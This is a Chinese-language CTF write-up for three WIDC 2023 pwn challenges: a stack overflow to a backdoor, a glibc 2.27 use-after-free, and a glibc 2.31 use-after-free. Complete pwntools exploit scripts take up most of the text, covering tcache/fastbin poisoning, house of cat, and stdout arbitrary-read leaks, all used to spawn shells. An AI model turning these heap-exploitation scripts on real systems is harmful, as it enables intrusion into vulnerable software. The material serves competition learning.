0%

WIDC车联网2023

mydear

1
2
3
4
5
6
7
mydear: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=82718c0b9f830007c1abfa77aae3858dd215e8ef, not stripped
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
  • 64位,dynamically,全关

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+Ch] [rbp-44h] BYREF
char buf[50]; // [rsp+10h] [rbp-40h] BYREF
char s[10]; // [rsp+42h] [rbp-Eh] BYREF
int Time; // [rsp+4Ch] [rbp-4h]

init(argc, argv, envp);
puts("this is a easy stack overflow!");
puts("Let's have fun!");
puts("please tell me,what is your name?");
fgets(s, 8, stdin);
printf("hello my dear,%s \n", s);
puts("can you tell me this is the second?");
__isoc99_scanf("%d", &v4);
Time = getTime();
if ( Time != v4 )
{
puts("Sorry! You are not my dear!");
puts("I'm so sad!");
exit(0);
}
puts("Is there something you want to tell me?");
getchar();
read(0, buf, 0x64uLL);
puts("hhhhh");
return 0;
}
  • 栈溢出
1
2
3
4
5
int win()
{
printf("You're going to get flags");
return system("/bin/sh");
}
  • 有后门

入侵思路

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
import time

#context(log_level='debug')
p =process("./mydear")
#p = remote("123.127.164.29",21899)

gdb.attach(p,"b*0x400A47")
pause()

p.recvuntil("name?")
p.send(b'xxxxxxx')
p.recvuntil("second?")
t = time.time()
second=(int(t)%60)
# second=(int(t+2)%60)

p.sendline(str(second))
p.recvuntil(b"me?")
target_addr=0x400898
payload=b'a'*0x48+p64(target_addr)
p.send(payload)

p.interactive()

easy_heap

1
GNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.6) stable release version 2.27
1
2
3
4
5
6
easy_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cd9a9a43d1011968219ce1d0acd1aa14deeaf80f, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
unsigned __int64 delete()
{
int index; // [rsp+4h] [rbp-Ch]
unsigned __int64 canary; // [rsp+8h] [rbp-8h]

canary = __readfsqword(0x28u);
puts("index: ");
index = get_num();
if ( index )
{
if ( index > 32 )
puts("error");
else
free((void *)pindex[index]);
}
return __readfsqword(0x28u) ^ canary;
}
  • UAF

入侵思路

利用 UAF 完成泄露:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
add(0x410,1,'a'*0x50)
add(0x410,2,'a'*0x50)
add(0x410,3,'a'*0x50)
add(0x450,4,'a'*0x50)

dele(1)
dele(3)

show(1)
p.recvuntil("content :\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3ebca0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

show(3)
p.recvuntil("content :\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x250
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

然后填满 tcache,打 fastbin double free 即可

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './easy_heap'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

local = 1
if local:
p = process(challenge)
else:
p = remote('119.13.105.35','10111')

def debug():
gdb.attach(p)
#gdb.attach(p,"b *$rebase(0x269F)\n")
#pause()

def cmd(op):
sla(": ",str(op))

def add(size,index,data):
cmd(1)
sla("size :",str(size))
sla("index :",str(index))
sla("content:",data)

def show(index):
cmd(2)
sla("index:",str(index))

def dele(index):
cmd(3)
sla("index:",str(index))

#debug()

add(0x410,1,'a'*0x50)
add(0x410,2,'a'*0x50)
add(0x410,3,'a'*0x50)
add(0x450,4,'a'*0x50)

dele(1)
dele(3)

show(1)
p.recvuntil("content :\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - 0x3ebca0
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

show(3)
p.recvuntil("content :\n")
leak_addr = u64(p.recv(6).ljust(8,"\x00"))
heap_base = leak_addr - 0x250
success("leak_addr >> "+hex(leak_addr))
success("heap_base >> "+hex(heap_base))

free_hook = libc_base + libc.sym["__free_hook"]
one_gadgets = [0x4f2a5,0x4f302,0x10a2fc]
one_gadget = libc_base + one_gadgets[1]
success("free_hook >> "+hex(free_hook))

for i in range(10):
add(0x70,i+5,'a'*0x50)

for i in range(8):
dele(i+5)

dele(13)
dele(12)

for i in range(7):
add(0x70,i+15,'a'*0x50)

add(0x70,22,p64(free_hook))
add(0x70,23,"/bin/sh\x00")
add(0x70,24,"/bin/sh\x00")
add(0x70,25,p64(one_gadget))

dele(23)

p.interactive()

inuse

1
2
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.2) stable release version 2.31

1
2
3
4
5
6
inuse: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /home/yhellow/Tools/glibc-all-in-one/libs/2.31-0ubuntu9.7_amd64/ld-2.31.so, for GNU/Linux 3.2.0, BuildID[sha1]=f2e3e36e0bf161ac1c1b5c561aa2518134caa471, not stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 dele()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("id:");
v1 = info();
if ( v1 <= 31 && pindex[v1] )
free((void *)pindex[v1]);
return __readfsqword(0x28u) ^ v2;
}
  • UAF

libc 版本下载

本题目的 GLIBC 不常规,需要先下载其 debug 包:

在上面的网站中找到对应的版本:

选择 Builds 中对应的架构:

选择 dbg 文件,并进行下载:

  • PS:最好不要在 win 中解压

解压后会出现1个文件夹,其中 /usr/lib/debug 就是我们需要的

1
data.tar  usr

目录 debug 的结构如下:(这些动态链接库都是带有符号的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
➜  debug tree 
.
├── lib
│   ├── libc6-prof
│   │   └── x86_64-linux-gnu
│   │   ├── ld-2.31.so
│   │   ├── libanl-2.31.so
│   │   ├── libBrokenLocale-2.31.so
│   │   ├── libc-2.31.so
│   │   ├── libdl-2.31.so
│   │   ├── libm-2.31.so
│   │   ├── libmemusage.so
│   │   ├── libmvec-2.31.so
│   │   ├── libnsl-2.31.so
│   │   ├── libnss_compat-2.31.so
│   │   ├── libnss_dns-2.31.so
│   │   ├── libnss_files-2.31.so
│   │   ├── libnss_hesiod-2.31.so
│   │   ├── libnss_nis-2.31.so
│   │   ├── libnss_nisplus-2.31.so
│   │   ├── libpcprofile.so
│   │   ├── libresolv-2.31.so
│   │   ├── librt-2.31.so
│   │   ├── libSegFault.so
│   │   ├── libthread_db-1.0.so
│   │   └── libutil-2.31.so
│   └── x86_64-linux-gnu
│   ├── ld-2.31.so
│   ├── libanl-2.31.so
│   ├── libBrokenLocale-2.31.so
│   ├── libc-2.31.so
│   ├── libdl-2.31.so
│   ├── libm-2.31.so
│   ├── libmemusage.so
│   ├── libmvec-2.31.so
│   ├── libnsl-2.31.so
│   ├── libnss_compat-2.31.so
│   ├── libnss_dns-2.31.so
│   ├── libnss_files-2.31.so
│   ├── libnss_hesiod-2.31.so
│   ├── libnss_nis-2.31.so
│   ├── libnss_nisplus-2.31.so
│   ├── libpcprofile.so
│   ├── libresolv-2.31.so
│   ├── librt-2.31.so
│   ├── libSegFault.so
│   ├── libthread_db-1.0.so
│   └── libutil-2.31.so
└── usr
......

于是我们直接把 x86_64-linux-gnu 改名为 .debug,并且在 GDB 命令中指定它为 debug-file-directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# -*- encoding: utf-8 -*-
from pwn import *

arch = 64
challenge = './inuse1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

cmd = "set debug-file-directory ./.debug/\n"

local = 1
if local:
#p = process(challenge)
p = gdb.debug(challenge, cmd)
else:
p = remote('123.127.164.29','21869')

入侵思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("id:");
v1 = info();
if ( v1 <= 0x1F )
{
if ( pindex[v1] )
{
read(0, (void *)pindex[v1], (int)psize[v1]);
if ( *(_QWORD *)freehk || *(_QWORD *)mallochk )
{
*(_QWORD *)freehk = 0LL;
*(_QWORD *)mallochk = 0LL;
}
}
}
return __readfsqword(0x28u) ^ v2;
}
  • 本题目在 “修改模块” 之后会自动清空 free_hook 和 malloc_hook
  • 因此可以把此题目当成是高版本 Libc 的堆利用

在高版本 Libc 的利用中,最常见的方法就是打 IO,因此我首先尝试 house of cat:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
# -*- encoding: utf-8 -*-
from pwn import *

arch = 64
challenge = './inuse1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

cmd = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, cmd)
else:
p = remote('123.127.164.29','21869')

def debug():
gdb.attach(p,"b __vfprintf_internal")
pause()

def cmd(num):
p.sendlineafter('5.exit',str(num))

def add(size):
cmd(1)
p.sendlineafter('size:' , str(size))

def edit(idx,text):
cmd(4)
p.sendlineafter('id:' , str(idx))
p.send(text)

def show(idx):
cmd(2)
p.sendlineafter('id:' , str(idx))

def free(idx):
cmd(3)
p.sendlineafter('id:' , str(idx))

debug()

add(0x420)#0
add(0x430)#1
add(0x410)#2
free(0)
add(0x440)#3

show(0)
p.recvuntil('\n')
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = leak_addr - 0x1ebfd0
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

p.recv(10)
leak_addr = u64(p.recv(6).ljust(8,'\x00'))
heap_base = leak_addr - 0x290
success('leak_addr >> '+hex(leak_addr))
success('heap_base >> '+hex(heap_base))

pop_rax_ret = libc_base+0x000000000004a550
pop_rdi_ret = libc_base+0x0000000000026b72
pop_rsi_ret = libc_base+0x0000000000027529
pop_rdx_pop_r12_ret = libc_base+0x000000000011c371
ret = libc_base+0x0000000000025679
syscall_ret = libc_base+libc.search(asm('syscall\nret')).next()
stderr = libc_base+libc.sym['stderr']
IO_list_all = libc_base+0x1ec5a0
success('stderr >> '+hex(stderr))
success('IO_list_all >> '+hex(IO_list_all))

setcontext = libc_base+libc.sym['setcontext']
close = libc_base+libc.sym['close']
read = libc_base+libc.sym['read']
write = libc_base+libc.sym['write']

next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0xffff) # rax1
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(heap_base+0xc18-0x68) #rdx
fake_IO_FILE += p64(setcontext+61) #call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE += p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc_base+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE += p64(0)*6
fake_IO_FILE += p64(heap_base+0xb30+0x10) # rax2

flag_addr = heap_base+0x17d0
payload1 = fake_IO_FILE + p64(flag_addr)+p64(0)+p64(0)*5+p64(heap_base+0x2050)+p64(ret)
free(2)
add(0x410)#4
edit(4,payload1)
free(4)

edit(0,p64(libc_base+0x1ebfd0)*2+p64(heap_base+0x290)+p64(IO_list_all-0x20))

add(0x440)#5
add(0x430)#6
edit(6,"/bin/sh\x00")
add(0x430)#7

rop_data = [
pop_rax_ret,
59,
pop_rdi_ret,
flag_addr,
syscall_ret,
]

add(0x430)#8
edit(8,flat(rop_data))
free(5)
add(0x450)#9
edit(9,p64(0)+p64(1))
free(7)

edit(5,p64(libc_base+0x1ebfe0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+3))
add(0x450)

p.interactive()

不过这个题目没法打 IO,先看下调试信息:

1
2
3
4
pwndbg> telescope 0x7f4db40c8780
00:00000x7f4db40c8780 (stderr+4157368096) —▸ 0x7f4db40c85c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
01:00080x7f4db40c8788 (stdout+4157368136) —▸ 0x7f4db40c86a0 (_IO_2_1_stdout_) ◂— 0xfbad2887
02:00100x7f4db40c8790 (stdin+4157368128) —▸ 0x7f4db40c7980 (_IO_2_1_stdin_) ◂— 0xfbad208b
  • 这个保护以前见过一次,程序将不会使用 libc 中的 _IO_FILE 结构体,而是使用保存在 elf 程序中的 _IO_FILE 结构体备份
1
2
pwndbg> p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x55b3bdd05b00
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
*RAX 0x0
*RBX 0x7f4db40c85c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
*RCX 0x0
*RDX 0x7ffc474e0530 ◂— 0x3000000010
*RDI 0x7f4db40c85c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
*RSI 0x7f4db40981b8 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
*R8 0x7f4db40943c3 ◂— 'malloc.c'
*R9 0x94b
*R10 0x7f4db4099030 (__PRETTY_FUNCTION__.13066) ◂— 'sysmalloc'
*R11 0xfffffffffffff000
*R12 0x50
*R13 0x7f4db40c85c0 (_IO_2_1_stderr_) ◂— 0xfbad2087
*R14 0x7ffc474e0530 ◂— 0x3000000010
R15 0x0
*RBP 0x7ffc474e0510 —▸ 0x7f4db40cf5c0 ◂— 0x7f4db40cf5c0
*RSP 0x7ffc474e04b8 —▸ 0x7f4db3f608d8 (locked_vfxprintf+312) ◂— jmp 0x7f4db3f60889
*RIP 0x7f4db3f559e0 (__vfprintf_internal) ◂— endbr64
───────────────────────────────────[ DISASM ]───────────────────────────────────
0x7f4db3f559e0 <__vfprintf_internal> endbr64
0x7f4db3f559e4 <__vfprintf_internal+4> push rbp
0x7f4db3f559e5 <__vfprintf_internal+5> mov rbp, rsp
0x7f4db3f559e8 <__vfprintf_internal+8> push r15
0x7f4db3f559ea <__vfprintf_internal+10> push r14
0x7f4db3f559ec <__vfprintf_internal+12> mov r14, rdx
0x7f4db3f559ef <__vfprintf_internal+15> push r13
0x7f4db3f559f1 <__vfprintf_internal+17> mov r13, rsi
0x7f4db3f559f4 <__vfprintf_internal+20> push r12
0x7f4db3f559f6 <__vfprintf_internal+22> mov r12, rdi
0x7f4db3f559f9 <__vfprintf_internal+25> push rbx
  • _IO_list_all 已经成功被我们覆盖,但是程序并没有受到影响
  • _IO_FILE 将会保存在 elf 文件中
1
2
3
4
5
6
pwndbg> search -t qword 0x7f4db40c85c0
Searching for value: b'\xc0\x85\x0c\xb4M\x7f\x00\x00'
inuse1 0x55b3bc402060 0x7f4db40c85c0
libc-2.31.so 0x7f4db40c6e90 0x7f4db40c85c0
libc-2.31.so 0x7f4db40c8780 0x7f4db40c85c0
[stack] 0x7ffc474e04e8 0x7f4db40c85c0
  • 为了验证这个过程,我们在 GDB 中修改备份的 _IO_FILE,看看是否会产生变化
1
2
3
4
5
6
7
8
9
pwndbg> p _IO_list_all
$1 = (struct _IO_FILE_plus *) 0x7ff58fa0f5c0 <_IO_2_1_stderr_>
pwndbg> search -t qword 0x7ff58fa0f5c0
Searching for value: b'\xc0\xf5\xa0\x8f\xf5\x7f\x00\x00'
inuse1 0x556b42802060 0x7ff58fa0f5c0
libc-2.31.so 0x7ff58fa0de90 0x7ff58fa0f5c0
libc-2.31.so 0x7ff58fa0f5a0 0x7ff58fa0f5c0
libc-2.31.so 0x7ff58fa0f780 0x7ff58fa0f5c0
pwndbg> set *0x556b42802060 = 0xffffffffffffffff
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
*RAX  0x556b42802060 ◂— 0x7ff5ffffffff
*RBX 0x7ff5ffffffff
*RCX 0x7ff58f9da5e3 ◂— 0x257325732500203a /* ': ' */
*RDX 0x7fff68bc1102 ◂— 0x4c00316573756e69 /* 'inuse1' */
RDI 0x0
*RSI 0x7ff58f9df1b8 ◂— "%s%s%s:%u: %s%sAssertion `%s' failed.\n"
*R8 0x7ff58f9db3c3 ◂— 'malloc.c'
*R9 0x94b
*R10 0x7ff58f9e0030 (__PRETTY_FUNCTION__.13066) ◂— 'sysmalloc'
*R11 0xfffffffffffff000
*R12 0x50
*R13 0x1000
*R14 0x556b435dc8e0 ◂— 0x6b435dbc00000000
*R15 0x44
*RBP 0x460
*RSP 0x7fff68bbef10 —▸ 0x7ff58fa45048 (_dl_catch_error@got.plt) —▸ 0x7ff58f986950 (_dl_catch_error) ◂— endbr64
*RIP 0x7ff58f8a7b22 (__fxprintf+162) ◂— mov edx, dword ptr [rbx]

面对高版本 Libc 时,还有一种泄露思路:

  • 利用 tcache attack 劫持 _IO_2_1_stdout_
  • 进行第一次 stdout 任意读,利用 Libc 全局变量 environ 来泄露栈地址
  • 进行第二次 stdout 任意读,利用 stack 中的数据来泄露程序基地址
  • 注意:这里是直接劫持 _IO_2_1_stdout_ 本身,而不是指向它的指针

在拥有了程序基地址后,其实我们可以考虑继续使用 house of cat 完成入侵,但此时劫持全局变量 freehkmallochk 才是最优解

1
2
3
4
5
.data:0000000000202018                               public freehk
.data:0000000000202018 40 BF 38 00 00 00 00 00 freehk dq 38BF40h ; DATA XREF: edit+A2↑r
.data:0000000000202018 ; edit:loc_D4C↑r
.data:0000000000202020 public mallochk
.data:0000000000202020 88 8F 38 00 00 00 00 00 mallochk dq 3706760

stdout 任意读的条件如下:

  • 设置 _flag &~ _IO_NO_WRITES_flag &~ 0x8
  • 设置 _flag & _IO_CURRENTLY_PUTTING_flag | 0x800
  • 设置 _fileno 为1
  • 设置 _IO_write_base 指向想要泄露的地方
  • 设置 _IO_write_ptr 指向泄露结束的地址
  • 设置 _IO_read_end 等于 _IO_write_base 或设置 _flag & _IO_IS_APPENDING(即 _flag | 0x1000
  • 设置 _IO_write_end 等于 _IO_write_ptr (非必须)

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
# -*- encoding: utf-8 -*-
from pwn import *

arch = 64
challenge = './inuse1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc-2.31.so')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

cmd = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, cmd)
else:
p = remote('123.127.164.29','21869')

def debug():
gdb.attach(p)

def cmd(num):
p.sendlineafter('5.exit',str(num))

def add(size):
cmd(1)
p.sendlineafter('size:' , str(size))

def edit(idx,text):
cmd(4)
p.sendlineafter('id:' , str(idx))
p.send(text)

def show(idx):
cmd(2)
p.sendlineafter('id:' , str(idx))

def free(idx):
cmd(3)
p.sendlineafter('id:' , str(idx))

#debug()

add(0x500)#0
add(0x300)#1
add(0x500)#2
add(0x300)#3
add(0x200)#4
add(0x200)#5

free(0)
free(2)
show(0)

leak_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
malloc_hook = leak_addr - 0x70

success("leak_addr >> "+hex(leak_addr))
success("malloc_hook >> "+hex(malloc_hook))

libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
environ = libc_base + libc.sym['environ']
system_addr = libc_base + libc.sym['system']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']

success("stdout >> "+hex(stdout))
success("environ >> "+hex(environ))
success("free_hook >> "+hex(free_hook))
success("malloc_hook >> "+hex(malloc_hook))

add(0x500)#6
add(0x500)#7

free(1)
free(3)

edit(3 , p64(stdout))

add(0x300)#8
add(0x300)#9

payload = p64(0xfbad1800) + p64(0)*3 + p64(environ) + p64(environ+0x10)
edit(9, payload)
stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0xe0
success("stack_addr >> "+hex(stack_addr))

payload = p64(0xfbad1800) + p64(0)*3 + p64(stack_addr) + p64(stack_addr+0x10)
edit(9, payload)
pro_base = u64(p.recv(6).ljust(8,'\x00')) - 0xe0d
data_start = pro_base + 0x202000
success("pro_base >> "+hex(pro_base))
success("data_start >> "+hex(data_start))

add(0x20)
add(0x20)

free(10)
free(11)

edit(11 , p64(data_start))
add(0x20)
add(0x20)

payload = p64(0) + p64(data_start+8) + p64(0) + p64(malloc_hook)
edit(13 , payload)

free(4)
free(5)
edit(5 , p64(free_hook-8))
add(0x200)
add(0x200)

payload = '/bin/sh\x00' + p64(system_addr)
edit(15 , payload)
free(15)

p.interactive()